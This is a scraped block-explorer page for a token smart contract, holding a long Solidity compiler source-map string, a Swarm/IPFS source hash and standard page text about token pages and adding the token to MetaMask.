7:10;;11470:7;;;;-1:-1:-1;;;;;11517:10:0;;;11508:19;;;;:62;;11544:9;;:26;;11558:11;11544:13;:26::i;:::-;11508:62;;;11530:11;11508:62;11490:80;-1:-1:-1;11585:13:0;;11581:172;;11660:4;11642:24;;;;:9;:24;;;;;;:39;;11671:9;11642:28;:39::i;:::-;11633:4;11615:24;;;;:9;:24;;;;;;;:66;;;;11701:40;;-1:-1:-1;;;;;11701:40:0;;;;;;;11731:9;1361:25:1;;1349:2;1334:18;;1215:177;11701:40:0;;;;;;;;11581:172;11770:7;11370:415;-1:-1:-1;;;;11370:415:0:o;11038:324::-;-1:-1:-1;;;;;11217:15:0;;;;;;:9;:15;;;;;;:31;;11237:10;11217:19;:31::i;:::-;-1:-1:-1;;;;;11199:15:0;;;;;;;:9;:15;;;;;;:49;;;;11275:13;;;;;;;:32;;11293:13;11275:17;:32::i;:::-;-1:-1:-1;;;;;11259:13:0;;;;;;;:9;:13;;;;;;;:48;;;;11323:31;;;;;;;;;;11340:13;1361:25:1;;1349:2;1334:18;;1215:177;11323:31:0;;;;;;;;11038:324;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:416;3121:1;3158:5;3121:1;3172:270;3193:7;3183:8;3180:21;3172:270;;;3252:4;3248:1;3244:6;3240:17;3234:4;3231:27;3228:53;;;3261:18;;:::i;:::-;3311:7;3301:8;3297:22;3294:55;;;3331:16;;;;3294:55;3410:22;;;;3370:15;;;;3172:270;;;3176:3;3032:416;;;;;:::o;3453:806::-;3502:5;3532:8;3522:80;;-1:-1:-1;3573:1:1;3587:5;;3522:80;3621:4;3611:76;;-1:-1:-1;3658:1:1;3672:5;;3611:76;3703:4;3721:1;3716:59;;;;3789:1;3784:130;;;;3696:218;;3716:59;3746:1;3737:10;;3760:5;;;3784:130;3821:3;3811:8;3808:17;3805:43;;;3828:18;;:::i;:::-;-1:-1:-1;;3884:1:1;3870:16;;3899:5;;3696:218;;3998:2;3988:8;3985:16;3979:3;3973:4;3970:13;3966:36;3960:2;3950:8;3947:16;3942:2;3936:4;3933:12;3929:35;3926:77;3923:159;;;-1:-1:-1;4035:19:1;;;4067:5;;3923:159;4114:34;4139:8;4133:4;4114:34;:::i;:::-;4184:6;4180:1;4176:6;4172:19;4163:7;4160:32;4157:58;;;4195:18;;:::i;:::-;4233:20;;3453:806;-1:-1:-1;;;3453:806:1:o;4264:140::-;4322:5;4351:47;4392:4;4382:8;4378:19;4372:4;4351:47;:::i;4409:168::-;4482:9;;;4513;;4530:15;;;4524:22;;4510:37;4500:71;;4551:18;;:::i;4582:356::-;4784:2;4766:21;;;4803:18;;;4796:30;4862:34;4857:2;4842:18;;4835:62;4929:2;4914:18;;4582:356::o;5653:251::-;5723:6;5776:2;5764:9;5755:7;5751:23;5747:32;5744:52;;;5792:1;5789;5782:12;5744:52;5824:9;5818:16;5843:31;5868:5;5843:31;:::i;6830:306::-;6918:6;6926;6934;6987:2;6975:9;6966:7;6962:23;6958:32;6955:52;;;7003:1;7000;6993:12;6955:52;7032:9;7026:16;7016:26;;7082:2;7071:9;7067:18;7061:25;7051:35;;7126:2;7115:9;7111:18;7105:25;7095:35;;6830:306;;;;;:::o;7420:277::-;7487:6;7540:2;7528:9;7519:7;7515:23;7511:32;7508:52;;;7556:1;7553;7546:12;7508:52;7588:9;7582:16;7641:5;7634:13;7627:21;7620:5;7617:32;7607:60;;7663:1;7660;7653:12;10084:125;10149:9;;;10170:10;;;10167:36;;;10183:18;;:::i;10569:135::-;10608:3;10629:17;;;10626:43;;10649:18;;:::i;:::-;-1:-1:-1;10696:1:1;10685:13;;10569:135::o;10709:128::-;10776:9;;;10797:11;;;10794:37;;;10811:18;;:::i;10974:127::-;11035:10;11030:3;11026:20;11023:1;11016:31;11066:4;11063:1;11056:15;11090:4;11087:1;11080:15;11106:980;11368:4;11416:3;11405:9;11401:19;11447:6;11436:9;11429:25;11473:2;11511:6;11506:2;11495:9;11491:18;11484:34;11554:3;11549:2;11538:9;11534:18;11527:31;11578:6;11613;11607:13;11644:6;11636;11629:22;11682:3;11671:9;11667:19;11660:26;;11721:2;11713:6;11709:15;11695:29;;11742:1;11752:195;11766:6;11763:1;11760:13;11752:195;;;11831:13;;-1:-1:-1;;;;;11827:39:1;11815:52;;11922:15;;;;11887:12;;;;11863:1;11781:9;11752:195;;;-1:-1:-1;;;;;;;12003:32:1;;;;11998:2;11983:18;;11976:60;-1:-1:-1;;;12067:3:1;12052:19;12045:35;11964:3;11106:980;-1:-1:-1;;;11106:980:1:o;12091:217::-;12131:1;12157;12147:132;;12201:10;12196:3;12192:20;12189:1;12182:31;12236:4;12233:1;12226:15;12264:4;12261:1;12254:15;12147:132;-1:-1:-1;12293:9:1;;12091:217::o
Swarm Source
ipfs://da7cea1488a359bb80013683c227f7789ad12e8485eb4a50e9c254ca1b8f27cd
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.
Add Token to MetaMask (Web3)